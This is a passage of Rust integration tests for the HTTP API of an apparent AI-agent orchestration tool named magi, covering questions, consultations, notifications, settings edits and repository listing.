13088 .unwrap();
13089 let mut task = Task::new(
13090 "t".to_owned(),
13091 "Do it".to_owned(),
13092 PathBuf::from("/repo/magi"),
13093 Source::Agent {
13094 run: talk.id.clone(),
13095 node: crate::queue::CHAT_NODE.to_owned(),
13096 },
13097 );
13098 task.start("20260902-000000-beef".to_owned());
13099 fx.queue().put(&mut task).unwrap();
13100
13101 let list = fx.get("/api/questions").await.json();
13102 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13103 assert_eq!(
13104 list[0]["choices"],
13105 serde_json::json!(["SQLite", "Redis"]),
13106 "the hand-over is never a choice"
13107 );
13108 fx.questions()
13109 .update(&id, |q| {
13110 q.node = crate::land::APPROVAL_NODE.into();
13111 q.choices = vec!["merge".into(), "hold".into()];
13112 Ok(())
13113 })
13114 .unwrap();
13115 let list = fx.get("/api/questions").await.json();
13116 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13117 assert_eq!(list[0]["can_consult_chat"], true);
13118 fx.questions()
13119 .update(&id, |q| {
13120 q.node = crate::bump::NOTICE_NODE.into();
13121 Ok(())
13122 })
13123 .unwrap();
13124 let list = fx.get("/api/questions").await.json();
13125 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13126 assert_eq!(list[0]["can_consult_chat"], false);
13127 }
13128
13129 #[tokio::test]
13130 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13131 let fx = Fixture::start().await;
13132 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13133 fx.questions()
13134 .update(&id, |q| {
13135 q.node = crate::land::APPROVAL_NODE.into();
13136 q.choices = vec!["merge".into(), "hold".into()];
13137 Ok(())
13138 })
13139 .unwrap();
13140 let cfg = Config {
13141 agents: vec![crate::config::AgentSpec {
13142 id: "mock".to_owned(),
13143 kind: crate::config::AgentKind::Command,
13144 model: None,
13145 command: vec!["true".to_owned()],
13146 extra_args: Vec::new(),
13147 env: Default::default(),
13148 prompt_delivery: None,
13149 max_turn_secs: None,
13150 }],
13151 ..Config::default()
13152 };
13153 let repo = fx.home.path().join("chat-repo");
13155 std::fs::create_dir_all(&repo).unwrap();
13156 let toml = repo.join("magi.toml");
13157 std::fs::write(&toml, "this is = = not toml").unwrap();
13158 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13159 let mut task = Task::new(
13160 "t".to_owned(),
13161 "Do it".to_owned(),
13162 PathBuf::from("/repo/magi"),
13163 Source::Agent {
13164 run: talk.id.clone(),
13165 node: crate::queue::CHAT_NODE.to_owned(),
13166 },
13167 );
13168 task.start("20260902-000000-beef".to_owned());
13169 fx.queue().put(&mut task).unwrap();
13170
13171 let path = format!("/api/questions/{id}/consult");
13172 let res = fx.post(&path, None).await;
13173 assert!(res.status >= 400, "{}", res.body);
13174 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13175 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13176
13177 std::fs::write(&toml, "").unwrap();
13178 let res = fx.post(&path, None).await;
13179 assert_eq!(res.status, 202, "{}", res.body);
13180 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13181 let q = fx.questions().get(&id).unwrap();
13182 assert!(q.status.open());
13183 assert!(q.answer.is_none());
13184 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13185 assert_eq!(res.json()["can_consult_chat"], true);
13186 let list = fx.get("/api/questions").await.json();
13187 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13188 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13189
13190 let res = fx
13191 .post(
13192 &format!("/api/questions/{id}/answer"),
13193 Some(r#"{"choice":"hold"}"#),
13194 )
13195 .await;
13196 assert_eq!(res.status, 200, "{}", res.body);
13197 assert_eq!(res.json()["answer"]["choice"], "hold");
13198 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13199 assert_eq!(res.json()["can_consult_chat"], false);
13200 assert_eq!(fx.post(&path, None).await.status, 409);
13201
13202 let mut talk = fx.talks().get(&talk.id).unwrap();
13203 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13204 let list = fx.get("/api/questions").await.json();
13205 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13206 assert_eq!(list[0]["origin_chat_closed"], true);
13207 assert_eq!(list[0]["can_consult_chat"], false);
13208
13209 fx.talks().remove(&talk.id).unwrap();
13210 let list = fx.get("/api/questions").await.json();
13211 assert_eq!(list[0]["origin_chat"], Value::Null);
13212 assert_eq!(list[0]["origin_chat_closed"], false);
13213 assert_eq!(list[0]["can_consult_chat"], false);
13214 }
13215
13216 #[tokio::test]
13217 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13218 let fx = Fixture::start().await;
13219 let store = fx.questions();
13220 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13221 store.beat(&id, ask::WaiterKind::Asker);
13222 assert_eq!(
13223 fx.get("/api/health").await.json()["questions_needs_owner"],
13224 1
13225 );
13226
13227 let res = fx
13233 .post(
13234 &format!("/api/questions/{id}/say"),
13235 Some(r#"{"body":"why not Postgres?"}"#),
13236 )
13237 .await;
13238 assert_eq!(res.status, 200, "{}", res.body);
13239 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13240 assert_eq!(
13241 fx.get("/api/health").await.json()["questions_needs_owner"],
13242 0,
13243 "waiting on the agent is not waiting on the owner"
13244 );
13245
13246 let mut q = store.get(&id).expect("get");
13250 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13251 .expect("reply");
13252 store.put(&mut q).expect("put");
13253 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13254 assert_eq!(
13255 fx.get("/api/health").await.json()["questions_needs_owner"],
13256 1,
13257 "the agent's reply is what should light the banner back up"
13258 );
13259 }
13260
13261 #[tokio::test]
13262 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13263 let fx = Fixture::start().await;
13264 let store = fx.questions();
13265
13266 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13267 let res = fx
13268 .post(
13269 &format!("/api/questions/{empty_id}/say"),
13270 Some(r#"{"body":" "}"#),
13271 )
13272 .await;
13273 assert_eq!(res.status, 400, "{}", res.body);
13274
13275 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13276 let mut answered = store.get(&answered_id).expect("get");
13277 answered
13278 .answer(Answer::Choice("SQLite".to_owned()))
13279 .expect("answer");
13280 store.put(&mut answered).expect("put");
13281 let res = fx
13282 .post(
13283 &format!("/api/questions/{answered_id}/say"),
13284 Some(r#"{"body":"still there?"}"#),
13285 )
13286 .await;
13287 assert_eq!(res.status, 409, "{}", res.body);
13288
13289 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13290 let mut abandoned = store.get(&abandoned_id).expect("get");
13291 abandoned.abandon("timed out");
13292 store.put(&mut abandoned).expect("put");
13293 let res = fx
13294 .post(
13295 &format!("/api/questions/{abandoned_id}/say"),
13296 Some(r#"{"body":"still there?"}"#),
13297 )
13298 .await;
13299 assert_eq!(res.status, 409, "{}", res.body);
13300 }
13301
13302 #[tokio::test]
13303 async fn an_answer_the_question_does_not_offer_is_refused() {
13304 let fx = Fixture::start().await;
13305 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13306 let path = format!("/api/questions/{id}/answer");
13307
13308 for body in [
13309 r#"{"choice":"Postgres"}"#,
13310 r#"{"text":"whatever you think"}"#,
13311 r#"{"choice":"Redis","text":"both"}"#,
13312 r#"{}"#,
13313 ] {
13314 let res = fx.post(&path, Some(body)).await;
13315 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13316 assert!(res.json()["error"].is_string(), "{}", res.body);
13317 }
13318 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13320 }
13321
13322 #[tokio::test]
13323 async fn a_free_text_question_takes_text_and_not_a_choice() {
13324 let fx = Fixture::start().await;
13325 let id = ask(&fx, "What should the flag be called?", &[]);
13326 fx.questions().beat(&id, ask::WaiterKind::Asker);
13327 let path = format!("/api/questions/{id}/answer");
13328
13329 assert_eq!(
13330 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13331 400
13332 );
13333 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13334 assert_eq!(res.status, 200, "{}", res.body);
13335 assert_eq!(res.json()["answer"]["text"], "--json");
13336 }
13337
13338 #[tokio::test]
13339 async fn an_unknown_question_is_a_json_404() {
13340 let fx = Fixture::start().await;
13341 let res = fx
13342 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13343 .await;
13344 assert_eq!(res.status, 404, "{}", res.body);
13345 assert!(res.json()["error"].is_string());
13346 }
13347
13348 #[tokio::test]
13349 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13350 let fx = Fixture::start().await;
13351 let questions = Questions::at(fx.home.path().join("questions"));
13352 let store = Notices::at(fx.home.path().join("notifications"));
13353 let mut q = ask::Question::new(
13354 "t1".into(),
13355 "conduct".into(),
13356 "conductor".into(),
13357 "Continue?".into(),
13358 String::new(),
13359 Vec::new(),
13360 );
13361 questions.put(&mut q).unwrap();
13362 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13363 n.covered_by = Some(q.id.clone());
13364 let n = store.raise(n).unwrap();
13365 let listed = fx.get("/api/notifications").await.json();
13366 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13367 questions
13368 .update(&q.id, |q| {
13369 q.abandon("run gone");
13370 Ok(())
13371 })
13372 .unwrap();
13373 let listed = fx.get("/api/notifications").await.json();
13374 assert!(listed["items"][0]["answerable_question"].is_null());
13375 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13376 assert!(
13377 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13378 .unwrap()
13379 .contains("answerable_question")
13380 );
13381 }
13382
13383 #[tokio::test]
13384 async fn notifications_list_read_dismiss_and_health_agree() {
13385 let fx = Fixture::start().await;
13386 let store = Notices::at(fx.home.path().join("notifications"));
13387 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13388 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13389
13390 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13391 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13392
13393 store
13394 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13395 .unwrap();
13396 let health = fx.get("/api/health").await.json();
13397 assert_eq!(health["notifications_unread"], 2);
13398 assert_ne!(
13399 health["notifications_rev"], rev0,
13400 "the badge must move live"
13401 );
13402
13403 let listed = fx.get("/api/notifications").await.json();
13404 assert_eq!(listed["unread"], 2);
13405 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13406 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13407
13408 let read = fx
13409 .post(&format!("/api/notifications/{}/read", a.id), None)
13410 .await;
13411 assert_eq!(read.status, 200, "{}", read.body);
13412 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13413
13414 let gone = fx
13415 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13416 .await;
13417 assert_eq!(gone.status, 200, "{}", gone.body);
13418 let listed = fx.get("/api/notifications").await.json();
13419 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13420 assert_eq!(listed["unread"], 0);
13421
13422 store.raise(Notice::info("x", "again")).unwrap();
13423 let all = fx.post("/api/notifications/read-all", None).await;
13424 assert_eq!(all.status, 200, "{}", all.body);
13425 assert_eq!(all.json()["marked"], 1);
13426 assert_eq!(
13427 fx.get("/api/health").await.json()["notifications_unread"],
13428 0
13429 );
13430
13431 let missing = fx.post("/api/notifications/nope/read", None).await;
13432 assert_eq!(missing.status, 404, "{}", missing.body);
13433 assert!(missing.json()["error"].is_string());
13434 }
13435
13436 #[tokio::test]
13443 async fn a_task_cannot_be_filed_over_the_phone_directly() {
13444 let f = Fixture::start().await;
13445
13446 let res = f
13447 .post(
13448 "/api/queue",
13449 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13450 )
13451 .await;
13452
13453 assert_eq!(
13454 res.status, 405,
13455 "POST /api/queue must not be a route: {}",
13456 res.body
13457 );
13458 assert!(
13459 f.queue().list().is_empty(),
13460 "a task filed by a route that does not exist must not reach the disk"
13461 );
13462 assert_eq!(f.get("/api/queue").await.status, 200);
13465 }
13466
13467 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13469 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13470 .expect("checkout dir");
13471 }
13472
13473 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13475
13476 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13477 let tmp = TempDir::new().expect("tempdir");
13478 let repo = tmp.path().join("repo");
13479 std::fs::create_dir_all(&repo).expect("repo dir");
13480 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13481 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13482 if let Some(text) = machine_toml {
13483 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13484 std::fs::write(&machine, text).expect("machine toml");
13485 }
13486 (tmp, repo, machine)
13487 }
13488
13489 async fn settings_checkout(path: &FsPath, text: &str) {
13490 std::fs::create_dir_all(path).unwrap();
13491 std::fs::write(path.join("magi.toml"), text).unwrap();
13492 for args in [
13493 vec!["init", "-b", "main"],
13494 vec!["add", "magi.toml"],
13495 vec![
13496 "-c",
13497 "user.name=Test",
13498 "-c",
13499 "user.email=test@example.invalid",
13500 "commit",
13501 "-m",
13502 "fixture",
13503 ],
13504 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13505 vec![
13506 "symbolic-ref",
13507 "refs/remotes/origin/HEAD",
13508 "refs/remotes/origin/main",
13509 ],
13510 ] {
13511 crate::git::git(path, &args).await.unwrap();
13512 }
13513 }
13514
13515 #[tokio::test]
13516 async fn settings_context_handlers_validate_and_save_without_a_socket() {
13517 let (tmp, repo, machine) =
13518 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13519 let root = tmp.path().join("roots");
13520 let selected = root.join("host/owner/selected");
13521 settings_checkout(
13522 &selected,
13523 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13524 )
13525 .await;
13526 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13527 let before = std::fs::read(&machine).unwrap();
13528 let ui = Arc::new(
13529 Ui::new(
13530 Queue::at(tmp.path().join("queue")),
13531 Questions::at(tmp.path().join("questions")),
13532 Talks::at(tmp.path().join("talks")),
13533 tmp.path().join("runs"),
13534 tmp.path().to_path_buf(),
13535 repo.clone(),
13536 )
13537 .with_machine_config(Some(machine.clone())),
13538 );
13539 let query = || {
13540 Query(SettingsQuery {
13541 repo: Some(selected.clone()),
13542 })
13543 };
13544 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13545 assert!(v.error.is_none(), "{:?}", v.error);
13546 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13547 assert_eq!(conductor.source, "repo");
13548 assert_eq!(
13549 conductor.machine_value,
13550 Some(toml::Value::String("a".into()))
13551 );
13552 assert!(!conductor.editable);
13553 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13554 assert_eq!(
13555 judges.count.as_ref().unwrap().machine_value,
13556 Some(toml::Value::Integer(1))
13557 );
13558 assert!(
13559 !v.roles
13560 .iter()
13561 .find(|r| r.key == "reviewers")
13562 .unwrap()
13563 .editable
13564 );
13565 let unknown = || {
13566 Query(SettingsQuery {
13567 repo: Some(tmp.path().to_path_buf()),
13568 })
13569 };
13570 assert_eq!(
13571 settings_get(State(ui.clone()), unknown())
13572 .await
13573 .unwrap_err()
13574 .status,
13575 StatusCode::UNPROCESSABLE_ENTITY
13576 );
13577 let body = || {
13578 Ok(Json(RolesBody {
13579 revision: v.revision.clone(),
13580 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13581 counts: Default::default(),
13582 }))
13583 };
13584 assert_eq!(
13585 settings_put_roles(State(ui.clone()), unknown(), body())
13586 .await
13587 .unwrap_err()
13588 .status,
13589 StatusCode::UNPROCESSABLE_ENTITY
13590 );
13591 assert_eq!(std::fs::read(&machine).unwrap(), before);
13592 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13593 .await
13594 .unwrap();
13595 assert_eq!(
13596 saved.repo,
13597 selected.canonicalize().unwrap().display().to_string()
13598 );
13599 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13600 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13601 let fresh = root.join("host/owner/fresh");
13603 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13604 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13605 .await
13606 .unwrap();
13607 assert_eq!(fresh_view.repositories.len(), 3);
13608 }
13609
13610 #[tokio::test]
13611 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13612 let (tmp, repo, machine) = settings_dirs(
13613 "[roles]\nreviewers = [\"a\"]\n",
13614 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13615 );
13616 let root = tmp.path().join("roots");
13617 let selected = root.join("host/owner/selected");
13618 settings_checkout(
13619 &selected,
13620 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13621 )
13622 .await;
13623 let broken = root.join("host/owner/broken");
13624 settings_checkout(&broken, "[roles\nbroken").await;
13625 let machine_text = format!(
13626 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13627 toml::Value::String(root.display().to_string())
13628 );
13629 std::fs::write(&machine, &machine_text).unwrap();
13630 let originals: Vec<_> = [&repo, &selected, &broken]
13631 .iter()
13632 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13633 .collect();
13634 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13635 let default = f.get("/api/settings").await.json();
13636 assert_eq!(
13637 default["repo"],
13638 repo.canonicalize().unwrap().display().to_string()
13639 );
13640 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13641 let query = format!("?repo={}", selected.display());
13642 let res = f.get(&format!("/api/settings{query}")).await;
13643 assert_eq!(res.status, 200, "{}", res.body);
13644 let v = res.json();
13645 assert!(v["error"].is_null(), "{v}");
13646 assert_eq!(v["repositories"], default["repositories"]);
13647 let role = |key: &str| {
13648 v["roles"]
13649 .as_array()
13650 .unwrap()
13651 .iter()
13652 .find(|r| r["key"] == key)
13653 .unwrap()
13654 };
13655 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13656 assert_eq!(role("advisors")["source"], "repo");
13657 assert_eq!(role("advisors")["editable"], false);
13658 assert!(role("advisors")["machine_value"].is_null());
13659 assert_eq!(role("judges")["count"]["value"], 2);
13660 assert_eq!(role("judges")["count"]["machine_value"], 1);
13661 assert_eq!(role("judges")["count"]["source"], "repo");
13662 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13663 assert!(
13664 source.contains("origin/main") && !source.contains("magi/config/"),
13665 "{source}"
13666 );
13667 assert_eq!(
13668 role("reviewers")["editable"],
13669 false,
13670 "default context outside roots must protect its declarations"
13671 );
13672 let body =
13673 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13674 let unknown = format!("?repo={}", tmp.path().display());
13675 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13676 assert_eq!(
13677 f.put(&format!("/api/settings/roles{unknown}"), &body)
13678 .await
13679 .status,
13680 422
13681 );
13682 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13683 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13684 .to_string();
13685 assert_eq!(
13686 f.put(&format!("/api/settings/roles{query}"), &refuse)
13687 .await
13688 .status,
13689 422
13690 );
13691 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13692 assert_eq!(saved.status, 200, "{}", saved.body);
13693 assert_eq!(saved.json()["repo"], v["repo"]);
13694 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13695 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13696 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13697 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13698 }
13699 let error = f
13700 .get(&format!("/api/settings?repo={}", broken.display()))
13701 .await;
13702 assert_eq!(error.status, 200);
13703 assert!(error.json()["error"]["message"].is_string());
13704 assert_eq!(error.json()["repositories"], default["repositories"]);
13705 }
13706
13707 #[tokio::test]
13708 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13709 let (_tmp, repo, machine) =
13710 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13711 let f = Fixture::with_repo_and_machine(repo, machine).await;
13712 let res = f.get("/api/settings").await;
13713 assert_eq!(res.status, 200, "{}", res.body);
13714 let v = res.json();
13715 assert!(v["error"].is_null(), "{v}");
13716 let role = |k: &str| {
13717 v["roles"]
13718 .as_array()
13719 .and_then(|r| r.iter().find(|x| x["key"] == k))
13720 .cloned()
13721 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13722 };
13723 assert_eq!(role("judges")["source"], "machine");
13724 assert_eq!(role("judges")["editable"], true);
13725 assert_eq!(role("implementers")["source"], "default");
13726 let adv = role("advisors");
13727 assert_eq!(adv["fallback"], "judges");
13728 assert!(
13729 adv["seats"]
13730 .as_array()
13731 .is_some_and(|s| s.iter().all(|x| x == "b")),
13732 "{adv}"
13733 );
13734 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13735 assert_eq!(v["agents"][0]["source"], "repo");
13736 }
13737
13738 #[tokio::test]
13739 async fn settings_get_reports_a_config_that_does_not_parse() {
13740 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13741 let f = Fixture::with_repo_and_machine(repo, machine).await;
13742 let res = f.get("/api/settings").await;
13743 assert_eq!(res.status, 200, "{}", res.body);
13744 let v = res.json();
13745 assert!(v["error"]["message"].is_string(), "{v}");
13746 assert!(
13747 v["error"]["path"]
13748 .as_str()
13749 .is_some_and(|p| p.ends_with("magi.toml")),
13750 "{v}"
13751 );
13752 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13753 }
13754
13755 #[tokio::test]
13756 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13757 let (_tmp, repo, machine) = settings_dirs(
13758 SETTINGS_AGENTS,
13759 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13760 );
13761 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13762 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13763 let rev = f.get("/api/settings").await.json()["revision"]
13764 .as_str()
13765 .expect("revision")
13766 .to_owned();
13767 let body = serde_json::json!({
13768 "revision": rev,
13769 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13770 })
13771 .to_string();
13772 let res = f.put("/api/settings/roles", &body).await;
13773 assert_eq!(res.status, 200, "{}", res.body);
13774 let text = std::fs::read_to_string(&machine).expect("machine");
13775 assert_eq!(
13776 text,
13777 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13778 );
13779 assert_eq!(
13780 std::fs::read(repo.join("magi.toml")).expect("read"),
13781 repo_before
13782 );
13783 let again = f.get("/api/settings").await.json();
13784 let judges = again["roles"]
13785 .as_array()
13786 .expect("roles")
13787 .iter()
13788 .find(|r| r["key"] == "judges")
13789 .expect("judges")
13790 .clone();
13791 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13792 let stale = f.put("/api/settings/roles", &body).await;
13794 assert_eq!(stale.status, 409, "{}", stale.body);
13795 }
13796
13797 #[tokio::test]
13798 async fn settings_counts_are_reported_and_saved() {
13799 let (_tmp, repo, machine) = settings_dirs(
13800 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13801 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13802 );
13803 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13804 let v = f.get("/api/settings").await.json();
13805 let count = |v: &serde_json::Value, k: &str| {
13806 v["roles"]
13807 .as_array()
13808 .and_then(|r| r.iter().find(|x| x["key"] == k))
13809 .map(|x| x["count"].clone())
13810 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13811 };
13812 let imp = count(&v, "implementers");
13813 assert_eq!(imp["value"], 2);
13814 assert_eq!(imp["source"], "machine");
13815 assert_eq!(imp["file_key"], "candidates");
13816 assert_eq!(imp["roster_len"], 2);
13817 assert_eq!(imp["backups"], 0);
13818 assert_eq!(count(&v, "judges")["source"], "default");
13819 assert_eq!(count(&v, "advisors")["min"], 0);
13820 assert_eq!(count(&v, "reviewers")["editable"], false);
13821 assert!(
13822 count(&v, "reviewers")["locked_reason"]
13823 .as_str()
13824 .is_some_and(|m| m.contains("graph.reviewers"))
13825 );
13826 assert!(count(&v, "fixer").is_null());
13827 let rev = v["revision"].as_str().expect("revision").to_owned();
13828 let body = serde_json::json!({
13829 "revision": rev,
13830 "roles": { "judges": ["b"] },
13831 "counts": { "implementers": 1, "advisors": 0 }
13832 })
13833 .to_string();
13834 let res = f.put("/api/settings/roles", &body).await;
13835 assert_eq!(res.status, 200, "{}", res.body);
13836 let text = std::fs::read_to_string(&machine).expect("machine");
13837 assert_eq!(
13838 text,
13839 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13840 );
13841 let after = f.get("/api/settings").await.json();
13842 assert_eq!(count(&after, "implementers")["value"], 1);
13843 assert_eq!(count(&after, "implementers")["backups"], 1);
13844 assert_eq!(count(&after, "advisors")["value"], 0);
13845 let before = std::fs::read_to_string(&machine).expect("machine");
13846 let rev = after["revision"].as_str().expect("revision").to_owned();
13847 for counts in [
13848 serde_json::json!({ "judges": 0 }),
13849 serde_json::json!({ "judges": "x" }),
13850 serde_json::json!({ "judges": 2.5 }),
13851 serde_json::json!({ "judges": -1 }),
13852 serde_json::json!({ "reviewers": 3 }),
13853 serde_json::json!({ "bogus": 3 }),
13854 ] {
13855 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13856 let res = f.put("/api/settings/roles", &body).await;
13857 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13858 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13859 }
13860 }
13861
13862 #[tokio::test]
13863 async fn settings_put_refuses_without_touching_the_file() {
13864 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13865 let (_tmp, repo, machine) = settings_dirs(
13866 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13867 Some(machine_text),
13868 );
13869 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13870 let rev = f.get("/api/settings").await.json()["revision"]
13871 .as_str()
13872 .expect("revision")
13873 .to_owned();
13874 for roles in [
13875 serde_json::json!({ "judges": ["nope"] }),
13876 serde_json::json!({ "reviewers": ["b"] }),
13877 serde_json::json!({ "bogus": ["a"] }),
13878 ] {
13879 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13880 let res = f.put("/api/settings/roles", &body).await;
13881 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13882 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13883 assert_eq!(
13884 std::fs::read_to_string(&machine).expect("machine"),
13885 machine_text
13886 );
13887 }
13888 }
13889
13890 #[tokio::test]
13891 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13892 let tmp = TempDir::new().expect("tempdir");
13893 let repo = tmp.path().join("repo");
13894 std::fs::create_dir_all(&repo).expect("repo dir");
13895 let root = tmp.path().join("root");
13896 make_checkout(&root, "github.com", "yukimemi", "magi");
13897 std::fs::write(
13898 repo.join("magi.toml"),
13899 format!(
13900 "[repos]\nroots = [{:?}]\n",
13901 root.to_string_lossy().into_owned()
13902 ),
13903 )
13904 .expect("write magi.toml");
13905
13906 let f = Fixture::with_repo(repo).await;
13907 let res = f.get("/api/repos").await;
13908 assert_eq!(res.status, 200, "{}", res.body);
13909 let list = res.json();
13910 let repos = list.as_array().expect("an array");
13911 assert_eq!(repos.len(), 1);
13912 assert_eq!(repos[0]["name"], "yukimemi/magi");
13913 assert!(
13914 repos[0]["path"]
13915 .as_str()
13916 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13917 "{list}"
13918 );
13919 }
13920
13921 #[tokio::test]
13922 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13923 let tmp = TempDir::new().expect("tempdir");
13924 let repo = tmp.path().join("repo");
13925 std::fs::create_dir_all(&repo).expect("repo dir");
13926 let root = tmp.path().join("root");
13927 make_checkout(&root, "github.com", "yukimemi", "magi");
13928 std::fs::write(
13929 repo.join("magi.toml"),
13930 format!(
13931 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13932 root.to_string_lossy().into_owned()
13933 ),
13934 )
13935 .expect("write magi.toml");
13936
13937 let f = Fixture::with_repo(repo).await;
13938 let first = f.get("/api/repos").await;
13939 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13940
